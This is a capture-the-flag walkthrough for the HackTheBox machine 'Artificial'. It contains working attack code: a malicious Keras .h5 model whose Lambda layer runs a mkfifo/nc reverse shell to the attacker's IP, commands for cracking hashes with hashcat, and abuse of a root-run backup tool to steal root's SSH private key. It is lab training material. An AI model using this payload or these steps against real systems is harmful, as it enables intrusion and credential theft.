HTB - Artificial

Description
The machine simulates a real-world misconfiguration scenario involving an application that manages and executes .h5 modules. It starts with access to a web interface deployed in a Docker environment. By crafting and uploading a malicious module, remote code execution was achieved. Further enumeration revealed an exposed SQLite database containing hashed credentials, which were cracked to gain access as a local user on the host system. This user, being a member of the sysadm group, had access to an archived Backrest repository. Unpacking the archive exposed sensitive configuration files, including credentials for an administrative user of a host-level application. By abusing the application's backup feature, it was possible to exfiltrate the root user's private SSH key, leading to full system compromise.
Enumeration
Nmap Scan
export ip=10.10.11.74; mkdir Nmapnmap $target -p- --min-rate 10000 -Pn -oN Nmap/allports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 $target -Pn -sC -sV -oN Nmap/script-scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelSummary
* Open ports: 22,80
* Services: SSH - HTTP
* Important notes: http://artificial.htb/I always update /etc/hosts
echo "$target artificial.htb" | sudo tee -a /etc/hosts
10.10.11.74 artificial.htbFoothold

There were a few endpoints on the sites: /register, /login
http://artificial.htb/register


After logging in, I accessed the user's dashboard at http://artificial.htb/dashboard, which featured upload functionality for managing and running AI modules. Also, the site provided requirements and dockerfile to build the needed environment.

I downloaded both files, and here are their contents:
requirements.txt
tensorflow-cpu==2.13.1Dockerfile
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]My strategy was to prepare the environment first and then create malicious AI module to be executed by the server and gain shell access.
When I tried to install the package in the requirements file, I failed because no matching version. However, I used the docker file to create docker instance.
If Docker is not installed in your VM, run
sudo apt install docker.ioIn the same directory where Dockerfile is located, run
sudo docker build -t tensor .After installation finished, Access the docker image
sudo docker run -it tensor
root@eab8574ee42c:/code# id
uid=0(root) gid=0(root) groups=0(root)With this blog, I can create malicious .h5 module and get RCE:

My test exploit script
import tensorflow as tf
def exploit(x):
import os
os.system("ping -c 4 10.10.16.14")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit-try.h5")Upload the module, run it, and I got a reply.

After confirming command execution, I sought shell access. Here are the steps I followed:
In my Docker shell, I started
python3terminal and pasted my exploit
import tensorflow as tf
def exploit(x):
import os
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.14 443 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")And I could confirm the exploit was created
root@eab8574ee42c:/code# ls
exploit.h5 tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whlI could download the exploit to my Kali with this command:
sudo docker cp <container-id>:/code/exploit.h5 $(pwd)Upload the .h5 file

After uploading the module, A section appeared with the module ID and a link to run your module:

I got the shell with penelope or any other listener (Ex: nc)

Lateral Movement
Under /app/instance directory, there was the site database:
app@artificial:~/app$ ls instance/
users.dbDownload the file:

The database wasSQLite, so I used sqlitebrowser to open it
file database/users.db
database/users.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 32, database pages 6, cookie 0x2, schema 4, UTF-8, version-valid-for 32sqlitebrowser database/users.dbThere was User table and inside it several records (users & hashes):

One of the hashes was cracked:

There was another user in the box called gaelUsing the cracked password, I managed to compromise him and get the user flag

User Flag: 149c8c8a3296529c41xxxxxxxxxxxxx
Privilege Escalation
The user is on sysadm group. When I searched for files/directories created or owned by that group, I found one archive file:
gael@artificial:~$ find / -group sysadm 2> /dev/null
/var/backups/backrest_backup.tar.gzUnder /optThere was a directory with the same name: backrest. After downloading the file with the same nc trick, I unpicked the archived file and noticed the difference:
A hidden config directory:

The directory contained a JSON file that stored the username and password hash.
cat .config/backrest/config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1Oxxxxxxxxxx"
}
]
}
}The password seemed to be base64 and not Bcrypt, so I tried to decode it and got the actual hash
base64 -d <<< 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1Oxxxxxxxxxx'
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspxxxxxxxxxxxThen, I cracked the hash with hashcat
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
..snip..
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutxxxxxx:REDACTRD
Session..........: hashcat
Status...........: CrackedThe baskret application was running locally on port 9898

Forward the port with SSH to access the application. Then, log in as the user in config.json
ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74
The application is used for backup operation and it was running as root, so I could abuse it to backup the private key for root user or get the root flag
Add repo

Add plan

Click on plan1 and then
Run Command

Backup
/rootdirectory

Then dump the root private key

Access the box as root
chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.74Get root flag
root@artificial:~# cat root.txt
8be64cf645053b4cc23xxxxxxxxxxxxxRoot Flag: 8be64cf645053b4cc23xxxxxxxxxxxxx
Last updated